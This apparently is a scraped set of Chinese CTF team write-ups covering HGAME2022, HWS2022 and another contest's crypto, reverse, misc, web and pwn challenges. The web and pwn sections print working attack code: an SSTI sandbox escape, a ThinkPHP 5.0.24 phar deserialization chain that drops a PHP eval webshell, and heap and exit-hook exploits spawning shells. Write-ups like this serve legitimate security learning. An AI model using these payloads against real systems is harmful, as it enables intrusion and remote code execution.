(57824879640955326550732559538097319221644125075532201058220628014917816573008 : 54475275866179647254036565579467398677511796158866832907668620448532510526757 : 1)\u0026#34; from libnum import invmod,n2s m = [57824879640955326550732559538097319221644125075532201058220628014917816573008,54475275866179647254036565579467398677511796158866832907668620448532510526757] cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710 cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619 d1 = invmod(m[0],p) d2 = invmod(m[1],p) flag = n2s(pow(cipher_left*d1,1,p)) + n2s(pow(cipher_right*d2,1,p)) print(flag) # \u0026#34;hgame{ECC$is!sO@HaRd}\u0026#34; [Crypto]PRNG By NULLPointer\n解压得到 output.txt 和 task.py，先分析加密代码：\nmt = PRNG(randrange(0, 1 \u0026lt;\u0026lt; 32)) # 在0到2^32-1之间建立伪随机数生成器 print([mt() for _ in range(624)]) # 利用伪随机数生成器生成624个伪随机数写入列表 print([part ^ mt() for part in map(s2n, re.findall(\u0026#34;.{1,4}\u0026#34;, flag))]) # 将flag每四个字符分成一组得到多组字符串，转成整数后对每一组字符串生成一个伪随机数并异或处理，写入列表 由 MT 和 624 等关键词可知考察的是 PRNG 中的伪随机数生成算法 MT19937。MT19937 是一种周期很长的的伪随机数生成算法，可以快速的产生高质量的伪随机数。然而，由于 MT 中伪随机数是由固定的种子数生成的，因此如果获得了算法中种子数的统计规律，便可以利用其规律和已知的伪随机数序列推测算法生成的下一个伪随机数。在 MT 算法中，一般得到 624 个伪随机数即可进行预测。\ngithub 上基于 python 的开源工具 rankcrack 可以预测伪随机数序列。利用该工具编写预测脚本如下：\nfrom randcrack import RandCrack # data = [...] 题目中已给出 Rand = RandCrack() assert(len(data) \u0026gt;= 624) for i in range(624): Rand.submit(data[i]) for i in range(624, len(data)): Rand.predict_randrange(0,0xffffffff) print(Rand.predict_randrange(0,0xffffffff)) 脚本的使用方法为：将已知的伪随机数序列 data 放入程序，程序会根据已知序列预测MT算法产生的下一个伪随机数。将预测得到的伪随机数放入 data 末尾，重新运行程序即可获得下一个伪随机数。重复执行以上步骤直至获得足够长的伪随机数序列。\n密文列表中共有 21 个元素，因此利用以上预测脚本预测接下来生成的 21 个伪随机数。最后将对应位置的密文和伪随机数异或即可得到明文。解密脚本如下：\ndata = [ 888058162, 3094055443, # 中间省略 1699850772, 1444384326 ] c = [ 3437104340, 508103176, 1635844121, 878522509, 1923790547, 1727955782, 1371509208, 3182873539, 156878129, 1757777801, 1472806960, 3486450735, 2307527058, 2950814692, 1817110380, 372493821, 729662950, 2366747255, 774823385, 387513980, 1444397883 ] from libnum import n2s for i in range(624,646): print(n2s(c[i-624]^data[i])) # hgame{meRsenne!tWisTER~iS^A*WIDelY-USEd^pSEUDo\u0026amp;rAndOM:nUmBEr!GeNErATIon?AlgorIThM} ","date":"2022-02-25T22:32:31+08:00","permalink":"https://or4ngesec.github.io/post/hgame2022-writeup-by-or4nge/","title":"HGAME2022 Writeup by or4nge"},{"content":"RE babyVM 将花指令patch掉\n将patch好的应用到文件。\n能看出来是个虚拟机逆向题\n动态调试的过程中可以看到程序向内存里写了一段数据\n0xFF,0x223,0x23B,0x237,0x237,0x24B,0x22B,0xFB,0x22B,0x223,0x24F,0xEF,0x237,0xEF,0x24F,0x24F,0x223,0x223,0x23B,0x237,0xFF,0x233,0x233,0x233,0x237,0x24B,0x233,0x24F,0x22B,0x22B,0x24B,0xEF 这个部分把上述数据每一个都减了0x63\n程序获得用户的输入\n比较的过程中可以发现，用户输入的长度应该是0x26\n并且在后面比较的过程中，flag{}这几个字符占了6个。\n再向后跟踪的过程中发现\n用户的输入和0x42做了异或\n再把结果左移两位，和前面的数据做了比较，因此最后的exp是：\ndump = [156, 448, 472, 468, 468, 488, 456, 152, 456, 448, 492, 140, 468, 140, 492, 492, 448, 448, 472, 468, 156, 464, 464, 464, 468, 488, 464, 492, 456, 456, 488, 140] for i in range(len(dump)): print(chr((dump[i]\u0026gt;\u0026gt;2)^0x42),end=\u0026#39;\u0026#39;) print() # e247780d029a7a992247e6667869008a EasyVM 和上题一样，去除应该应该去除的花指令。\n然后引发了一个异常\n观察异常处理函数\n看到输入的长度为42\n在这个函数里面输入经过了base64编码，而且和0xa,0xb,0xc,0xd异或\n然后根据函数地址表进行虚拟机逻辑。\n动态调试中可以发现函数将输入经过特制变换的 base64 和前一个结果异或，和 0xee 异或，再进行比较，然后动态调试的过程中把最终的结果提取出来，可以写出脚本。\nimport base64 dump = [0x00,0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3] x = [0xa,0xb,0xc,0xd] dump = dump[::-1] dump1 = [] for i in range(1,len(dump)): dump1.append(dump[i]^dump[i-1]^0xee) dump1 = dump1[::-1] dump2 = [] for i in range(len(dump1)): dump2.append((dump1[i]^x[(i)%4]).to_bytes(1,byteorder=\u0026#39;big\u0026#39;)) print (base64.b64decode(b\u0026#39;\u0026#39;.join(dump2))) # b\u0026#39;flag{2586dc76-98d5-44e2-ad58-d06e6559d82a}\u0026#39; Crypto babyrsa 把 n 扔到 factordb 上直接分解了出来，拿到 pq，直接解密就行\nfrom libnum import n2s def exgcd(a, b): if b == 0: return 1, 0, a else: x, y, q = exgcd(b, a % b) x, y = y, (x - (a // b) * y) return x, y, q p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033 q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513 N = 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929 assert p * q == N e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877 flag = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524 d = exgcd(e, (p - 1) * (q - 1))[0] print(n2s(pow(flag, d, N))) flag:\ncrypto_Elgamal 首先是一个 LCG 的链式求解，通过五个值解出 A,B,q\n分析 elgmal 签名，同样使用了 LCG，那么有两个加密值就能够恢复消息，推导如下\n$$ c_{2\u0026rsquo;}\\equiv mh^{Ar_1+B} \\equiv m(h^{r_1})^Ah^B \\equiv mh^{r_1}(h^{r_1})^{A-1}h^B \\equiv c_2(h^{r_1})^{A-1}h^B\\pmod p $$\n$$ \\therefore (h^{r_1})^{A-1} \\equiv c_{2\u0026rsquo;}c_2^{-1}h^{-B} \\pmod p $$\n可以设法求出 $h^{r_1}$ 的值，然后就可以通过 $c_2=mh^{r_1}$ 求解出 m 值\n但由于 $A-1$ 和 $p-1$ 不互素，无法直接求得逆元，因此需要高次同余开根算法，这里使用了 AMM 算法进行求解，按照论文直接复现出来，得到 $h^{r_1}$ 的值\n最后计算 $m\\equiv c_2(h^{r_1})^{-1}\\pmod p$ 得到flag\nLCG 求解 ABq：\nfrom Crypto.Util.number import * def gcd(a,b): if(b==0): return a else: return gcd(b,a%b) s = [543263588863771657634119, 628899245716105951093835, 78708024695487418261582, 598971435111109998816796, 789474285039501272453373] t = [] for i in range(5): t.append(s[i]-s[i-1]) all_n = [] for i in range(3): all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1]))) MMI = lambda A, n,s=1,t=0,N=0: (n \u0026lt; 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n\u0026lt;1] #逆元计算 for n in all_n: n=abs(n) if n==1: continue a=(s[2]-s[1])*MMI((s[1]-s[0]),n)%n ani=MMI(a,n) b=(s[1]-a*s[0])%n print(a, b, n) AMM 算法代码：\nimport random import math import libnum import time from Crypto.Util.number import bytes_to_long,long_to_bytes p = 0 def GF(a): global p p = a def g(a,b): global p return pow(a,b,p) def AMM(x,e,p): GF(p) y = random.randint(1, p-1) while g(y, (p-1)//e) == 1: y = random.randint(1, p-1) print(y) #p-1 = e^t*s t = 1 s = 0 while p % e == 0: t += 1 print(t) s = p // (e**t) # s|ralpha-1 k = 1 while((s * k + 1) % e != 0): k += 1 alpha = (s * k + 1) // e a = g(y, (e ** (t - 1) ) * s) b = g(x, e * alpha - 1) c = g(y, s) h = 1 # for i in range(1, t-1): print(\u0026#39;cur_i\u0026#39;,i) d = g(b,e**(t-1-i)) if d == 1: j = 0 else: j = (-math.log(d,a) % e) b = b * (g(g(c, e), j)) h = h * g(c, j) c = g(c,e) return (g(x,alpha * h)) % p 解题脚本：\n#coding=utf-8 from gmpy2 import * from libnum import * from amm import AMM A = 12742153496769814072597 B = 3035433788765894539799 q = 791763770658839585424113 # A = 107868759310796409744994 # B = 492302818740419286543885 p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311 g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216 h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904 c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133 c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264 c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867 c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070 k = (p - 1) // q assert k * q + 1 == p # print(q, k) hr1_A_1 = c2_ * invert(c2, p) * pow(h,-B, p) % p # print(hr1_A_1) d = xgcd(A - 1, p - 1)[0] % (p - 1) cur_x = AMM(hr1_A_1, 7438, p) # assert pow(cur_x, A - 1, p) == hr1_A_1 d = xgcd(A - 1, p - 1)[0] % (p - 1) x_7438 = pow(hr1_A_1, d, p) x_3719 = AMM(x_7438, 2, p) x_3719_ = p - x_3719 x_3719s = [x_3719, x_3719_] mol = (p - 1) // 3719 def check(mm): for i in mm: if i \u0026gt;= 128: return False return True for eve_c in x_3719s: cur_x = AMM(eve_c, 3719, p) assert pow(cur_x, A - 1, p) == hr1_A_1 for i in range(1, 1 + 6000): cur_use = cur_x * pow(i, mol, p) assert pow(cur_use, A - 1, p) == hr1_A_1 cur_m = xgcd(cur_use, p)[0] * c2 % p cur_m = n2s(int(cur_m)) if check(cur_m): print(cur_m) break # b\u0026#39;flag{19e9f185e6a680324cedd6e6d9382743}\u0026#39; Misc badPDF 文件在运行之后在 %tmp% 目录下释放了三个文件，将 js 和 tmp 都提取出来\ntmp的内容好像是在混淆，查了一下应该是使用 winrm.vbs 绕过应用白名单执行任意未签名代码(https://www.anquanke.com/post/id/151711)，再一找发现是原题\n找个 vbs 脚本改一下\nfor i= 1 to len(\u0026#34;676d60667a64333665326564333665326564333665326536653265643336656564333665327c\u0026#34;) step 2: flag = flag \u0026amp; chr(asc(chr(\u0026#34;\u0026amp;h\u0026#34; \u0026amp; mid(\u0026#34;676d60667a64333665326564333665326564333665326536653265643336656564333665327c\u0026#34;,i,2)))xor 1): next: msgbox(flag) 运行结果：\ngogogo 先解puzzle，gaps不知道为啥跑不动，手动硬拼，口令是3e8f092d4d7b80ce338d6e238efb01\n随后是个内存取证，在内存剪切板上又看到了上面的口令，确定了该口令只有30位而不是个md5\n在内存的文件找到了csgo.zip，用口令解密拿到图片，但显示不出来，用010editor打开图片，发现png文件头重复，删掉一个，看到正经图片，但是缺少定位符\n图片是个Aztec码，找了个二层的定位符，硬拼一下，在线网站直接解(https://products.aspose.app/barcode/recognize/aztec#/recognized)\nflag:\n","date":"2022-01-26T13:03:21+08:00","image":"https://or4ngesec.github.io/post/hws2022-writeup/cover_hu31039705144761defd1e1848d4287a81_131160_120x120_fill_q75_box_smart1.jpg","permalink":"https://or4ngesec.github.io/post/hws2022-writeup/","title":"HWS2022冬令营预选赛 Writeup"},{"content":"Web RCE_No_Para 无参数RCE，且过滤了部分函数。\n最终payload：\n?a=cat flag.php;\u0026amp;code=system(current(current(get_defined_vars()))); flask 查看网页源码\n\u0026lt;!--if not request.full_path.endswith(\u0026#34;.js?\u0026#34;): if not request.full_path.startswith(\u0026#34;/login\u0026#34;): return redirect(\u0026#34;login\u0026#34;)--\u0026gt; 要求路径是以/login开头，以.js?结尾，\n查看 flask 文档\nRequested path, including the query string.\n所以构造路径：\n/login/../admin?a=.js? 然后源码提示：\n\u0026lt;!--admin/?name=--\u0026gt; 使用以下路径发现是ssti\n/login/../admin?name={{7*7}}\u0026amp;a=.js? fuzz发现过滤了__，builtins，所以绕，最终payload\n/login/../admin?name={{config|attr(\u0026#39;_\u0026#39;+\u0026#39;_init_\u0026#39;+\u0026#39;_\u0026#39;)|attr(\u0026#39;_\u0026#39;+\u0026#39;_globals_\u0026#39;+\u0026#39;_\u0026#39;)|attr(\u0026#39;_\u0026#39;+\u0026#39;_getitem_\u0026#39;+\u0026#39;_\u0026#39;)(\u0026#39;_\u0026#39;+\u0026#39;_buil\u0026#39;+\u0026#39;tins_\u0026#39;+\u0026#39;_\u0026#39;)|attr(\u0026#39;_\u0026#39;+\u0026#39;_getitem_\u0026#39;+\u0026#39;_\u0026#39;)(\u0026#39;eval\u0026#39;)(\u0026#39;_\u0026#39;+\u0026#39;_import_\u0026#39;+\u0026#39;_(\u0026#34;os\u0026#34;).popen(\u0026#34;cat /flag\u0026#34;).read()\u0026#39;)}}\u0026amp;a=.js? tp 变量覆盖+phar反序列化+thinkphp 5.0.24反序列化写webshell\n生成phar文件\n\u0026lt;?php namespace think\\process\\pipes; class Windows { private $files = []; public function __construct() { $this-\u0026gt;files = [new \\think\\model\\Merge]; } } namespace think\\model; use think\\Model; class Merge extends Model { protected $append = []; protected $error; public function __construct() { $this-\u0026gt;append = [ \u0026#39;bb\u0026#39; =\u0026gt; \u0026#39;getError\u0026#39; ]; $this-\u0026gt;error = (new \\think\\model\\relation\\BelongsTo); } } namespace think; class Model{} namespace think\\console; class Output { protected $styles = []; private $handle = null; public function __construct() { $this-\u0026gt;styles = [\u0026#39;removeWhereField\u0026#39;]; $this-\u0026gt;handle = (new \\think\\session\\driver\\Memcache); } } namespace think\\model\\relation; class BelongsTo { protected $query; public function __construct() { $this-\u0026gt;query = (new \\think\\console\\Output); } } namespace think\\session\\driver; class Memcache { protected $handler = null; public function __construct() { $this-\u0026gt;handler = (new \\think\\cache\\driver\\Memcached); } } namespace think\\cache\\driver; class File { protected $tag; protected $options = []; public function __construct() { $this-\u0026gt;tag = false; $this-\u0026gt;options = [ \u0026#39;expire\u0026#39; =\u0026gt; 3600, \u0026#39;cache_subdir\u0026#39; =\u0026gt; false, \u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;\u0026#39;, \u0026#39;data_compress\u0026#39; =\u0026gt; false, \u0026#39;path\u0026#39; =\u0026gt; \u0026#39;php://filter/convert.base64-decode/resource=/var/www/html/public/\u0026#39;, ]; } } class Memcached { protected $tag; protected $options = []; protected $handler = null; public function __construct() { $this-\u0026gt;tag = true; $this-\u0026gt;options = [ \u0026#39;expire\u0026#39; =\u0026gt; 0, \u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4\u0026#39;, ]; $this-\u0026gt;handler = (new File); } } $obj = new \\think\\process\\pipes\\Windows(); @unlink(\u0026#34;or4nge.phar\u0026#34;); $phar = new \\Phar(\u0026#34;or4nge.phar\u0026#34;); //后缀名必须为phar $phar-\u0026gt;startBuffering(); $phar-\u0026gt;setStub(\u0026#34;\u0026lt;?php __HALT_COMPILER(); ?\u0026gt;\u0026#34;); //设置stub $phar-\u0026gt;setMetadata($obj); //将自定义的meta-data存入manifest $phar-\u0026gt;addFromString(\u0026#34;test.txt\u0026#34;, \u0026#34;test\u0026#34;); //添加要压缩的文件 //签名自动计算 $phar-\u0026gt;stopBuffering(); 变量覆盖，触发反序列化\nimport requests url = \u0026#39;http://9316a714.lxctf.net/public/index.php/index/Index/upload\u0026#39; files = {\u0026#39;file\u0026#39;: (\u0026#39;or4nge\u0026#39;, open(\u0026#39;or4nge.phar\u0026#39;, \u0026#39;rb\u0026#39;))} r = requests.post(url, files=files) r = requests.post(url, params=\u0026#34;FILES[file][tmp_name]=or4nge.jpg\u0026amp;FILES[file][name]=phar://or4nge\u0026#34;) print(r.text) 会在 /var/www/html/public 下生成 8fba8bb6410a4aee90b063a8b7e78b73.php，文件内容包含 \u0026lt;?php eval($_GET['a']); 直接用就可以了。\nPwn pwn1 from pwn import * import sys context.log_level = \u0026#34;debug\u0026#34; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./pwn1\u0026#34;) else: p = remote(\u0026#34;113.201.14.253\u0026#34;,16088) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *{b}\u0026#34;.format(b = hex(b))) else: gdb.attach(p) debugf(0x08048596) ru(\u0026#39;Gift:\u0026#39;) buf = int(ru(b\u0026#39;\\n\u0026#39;)[:-1],16) pay = p32(0x8048540)+b\u0026#39;a\u0026#39;*48 + p32(buf+4) sn(pay) #flag{474b7f9219effe69530da4ad63c1752a} p.interactive() pwn2 off by one\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./pwn2\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.27.so\u0026#34;) else: p = remote(\u0026#34;113.201.14.253\u0026#34;, 16066) libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./pwn2\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def menu(i): ru(\u0026#34;Choice: \u0026#34;) sl(str(i)) def add(size, content): menu(1) sla(\u0026#34;size: \u0026#34;, str(size)) sa(\u0026#34;content: \u0026#34;, content) def edit(idx,content): menu(2) sla(\u0026#34;idx: \u0026#34;, str(idx)) sla(\u0026#34;content: \u0026#34;, content) def free(idx): menu(3) sla(\u0026#34;idx: \u0026#34;, str(idx)) def show(idx): menu(4) sla(\u0026#34;idx: \u0026#34;, str(idx)) add(0x18, b\u0026#34;a\u0026#34; + b\u0026#34;\\n\u0026#34;) add(0x18, b\u0026#34;b\u0026#34;*0x18 + b\u0026#34;\\n\u0026#34;) for i in range(8): add(0x80, b\u0026#34;aaa\u0026#34; + b\u0026#34;\\n\u0026#34;) for i in range(8): free(9-i) free(0) add(0x18, b\u0026#34;a\u0026#34;*0x18 + b\u0026#34;\\xb1\u0026#34; + b\u0026#34;\\n\u0026#34;) free(1) add(0xa0, b\u0026#34;c\u0026#34; + b\u0026#34;\\n\u0026#34;) edit(1, b\u0026#34;c\u0026#34;*0x1f) show(1) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 96 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] print(hex(libc.address)) edit(1, b\u0026#34;c\u0026#34;*0x18 + p64(0x91) + p64(libc.sym[\u0026#34;__free_hook\u0026#34;]) + p64(96 + 0x10 + libc.sym[\u0026#34;__malloc_hook\u0026#34;])) add(0x80, b\u0026#34;/bin/sh\\x00\u0026#34; + b\u0026#34;\\n\u0026#34;) for i in range(7): add(0x80, b\u0026#34;aaa\u0026#34; + b\u0026#34;\\n\u0026#34;) free(9) edit(1, b\u0026#34;c\u0026#34;*0x18 + p64(0x91) + p64(libc.sym[\u0026#34;__free_hook\u0026#34;])*2) add(0x80, b\u0026#34;ddd\u0026#34; + b\u0026#34;\\n\u0026#34;) add(0x80, p64(libc.sym[\u0026#34;system\u0026#34;]) + b\u0026#34;\\n\u0026#34;) free(2) p.interactive() pwn3 随便玩玩拿到puts地址，写exit_hook拿shell\nfrom pwn import * import sys context.log_level = \u0026#34;debug\u0026#34; if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./Gpwn3\u0026#34;) libc = ELF(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) else: p = remote(\u0026#34;113.201.14.253\u0026#34;, 16033) libc = ELF(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *{b}\u0026#34;.format(b = hex(b))) else: gdb.attach(p) def menu(i): sla(\u0026#39;choice:\u0026#39;, str(i)) def create(c): menu(1) sa(\u0026#39;:\u0026#39;, c) def up(c): menu(2) sa(\u0026#39;:\u0026#39;, c) create(b\u0026#39;\\xff\u0026#39;*35) # up(b\u0026#39;\\x01\u0026#39;*34+b\u0026#39;\\x00\u0026#39;) up(b\u0026#39;\\x01\u0026#39;) up(p64(2147483647)) menu(3) ru(\u0026#39;reward:\u0026#39;) libc.address = int(ru(b\u0026#39;\\n\u0026#39;)[:-1],16) - 0x06f6a0 log.warning(hex(libc.address)) ru(\u0026#39;name\u0026#39;) sn(p64(libc.address+0x5f0040+3848)) ru(\u0026#39;you!\u0026#39;) sn(p64(libc.address+0xf1247)) p.interactive() \u0026#39;\u0026#39;\u0026#39; 0x45226 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) constraints: rax == NULL 0x4527a execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) constraints: [rsp+0x70] == NULL \u0026#39;\u0026#39;\u0026#39; Reverse lemon 感谢 yaoxi 师傅送的一血（狗头）\nlemon 语言，仿照 HITCON cclemon，手动恢复字节码\nvar a = [65, 69, 83]; var b = [113, 105, 117, 113, 105, 117, 108, 101, 98, 105, 101, 122, 117, 111, 108, 101]; var c = 0; var d = []; while (c \u0026lt; 256){ d.append(c); c = c + 1; }; var e = 0; while (e \u0026lt; 256) { d[e] = (d[e] + a[e % 3] + b[e % 16]) % 256; e += 1; }; var f = 0; while (f \u0026lt; 3) { var g = 0; while (g \u0026lt; 256) { d[g] = d[g] ^ d[(g + 1) % 256]; g = g + 1; }; var h = 0; while (h \u0026lt; 256) { d[h] = (d[h] + 1) % 256; h = h + 1; }; f = f + 1; }; f = 0; var i = 0; while (f \u0026lt; 256) { i = i + d[f]; f = f + 1; }; i = i * 20 + 5; i = i * 30 - 5; i = i * 40 - 5; i = i * 50 + 6645; print(i); 运行结果就是flag\neasy_py uncompyle6反编译\nsleep+多线程，两个运算轮流进行\nIn [1]: cipher = [44, 100, 3, 50, 106, 90, 5, 102, 10, 112] In [2]: for i in range(0, 9, 2): ...: cipher[i] ^= cipher[i + 1] ...: cipher[i + 1] ^= i + 1 ...: In [3]: cipher Out[3]: [72, 101, 49, 49, 48, 95, 99, 97, 122, 121] In [4]: for c in cipher: ...: print (chr(c), end=\u0026#39;\u0026#39;) ...: He110_cazy combat_slogan jd-gui可出源码\npackage com.xaut; import java.io.PrintStream; import java.util.Scanner; public class Main { public static String stringTransformAscii(String value) { StringBuffer sbu = new StringBuffer(); char[] chars = value.toCharArray(); for (int i = 0; i \u0026lt; chars.length; i++) { if (i != chars.length - 1) { sbu.append(chars[i]).append(\u0026#34;,\u0026#34;); } else { sbu.append(chars[i]); } } return sbu.toString(); } public static String ttk(String input) { StringBuilder sb = new StringBuilder(); for (int i = 0; i \u0026lt; input.length(); i++) { char c = input.charAt(i); if ((c \u0026gt;= \u0026#39;a\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;m\u0026#39;)) { c = (char)(c + \u0026#39;\\r\u0026#39;); } else if ((c \u0026gt;= \u0026#39;A\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;M\u0026#39;)) { c = (char)(c + \u0026#39;\\r\u0026#39;); } else if ((c \u0026gt;= \u0026#39;n\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;z\u0026#39;)) { c = (char)(c - \u0026#39;\\r\u0026#39;); } else if ((c \u0026gt;= \u0026#39;N\u0026#39;) \u0026amp;\u0026amp; (c \u0026lt;= \u0026#39;Z\u0026#39;)) { c = (char)(c - \u0026#39;\\r\u0026#39;); } sb.append(c); } return sb.toString(); } public static void main(String[] args) { System.out.println(\u0026#34;Please input your keyword::\u0026#34;); Scanner scan = new Scanner(System.in); String str2 = \u0026#34;ddd\u0026#34;; if (scan.hasNextLine()) { str2 = scan.nextLine(); } scan.close(); String stringTransformAscii = stringTransformAscii(str2); String[] offerCodeString = stringTransformAscii.split(\u0026#34;,\u0026#34;); StringBuffer str5 = new StringBuffer(); for (String s : offerCodeString) { str5.append(s); } int flag = ttk(str2).compareTo(\u0026#34;Jr_j11y_s1tug_g0_raq_g0_raq_pnml\u0026#34;); if ((flag == 0) \u0026amp;\u0026amp; (str5.toString().compareTo(\u0026#34;871019511949491089510249103104116951164895101110100951164895101110100959997122121\u0026#34;) == 0)) { System.out.println(\u0026#34;Your keyword is correct!\u0026#34;); } else { System.out.println(\u0026#34;Your keyword is wrong!\u0026#34;); } } } ttk 凯撒 k=13\nWe_w11l_f1ght_t0_end_t0_end_cazy\nflag:\nflag{We_w11l_f1ght_t0_end_t0_end_cazy} cute_doge 运行后dump内存\n解base64\nZmxhZ3tDaDFuYV95eWRzX2Nhenl9\nflag:\nflag{Ch1na_yyds_cazy} Crypto LinearEquations 线性同余方程\nd[0] * b + d[1] * a + c = d[2] d[1] * b + d[2] * a + c = d[3] d[2] * b + d[3] * a + c = d[4] 所以有\n(d[1] - d[0]) * b + (d[2] - d[1]) * a = d[3] - d[2] (d[2] - d[1]) * b + (d[3] - d[2]) * a = d[4] - d[3] 求解同余方程即可\n直接放ipython的log了\nd = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396] n = 10104483468358610819 In [24]: from libnum import * In [25]: left = (d[4] - d[3]) * (d[1] - d[0]) % n - (d[3] - d[2]) * (d[2] - d[1]) % n In [26]: left Out[26]: 2071989288624214374 In [28]: right = (d[3] - d[2]) * (d[1] - d[0]) % n - (d[2] - d[1]) ** 2 % n In [29]: right Out[29]: -220570350959470413 In [30]: right %= n In [31]: right Out[31]: 9883913117399140406 In [32]: invmod(right, n) Out[32]: 9158039860152232368 In [33]: invmod(right, n) * left % n Out[33]: 5490290802446982981 In [34]: a = invmod(right, n) * left % n In [35]: n2s(a) Out[35]: 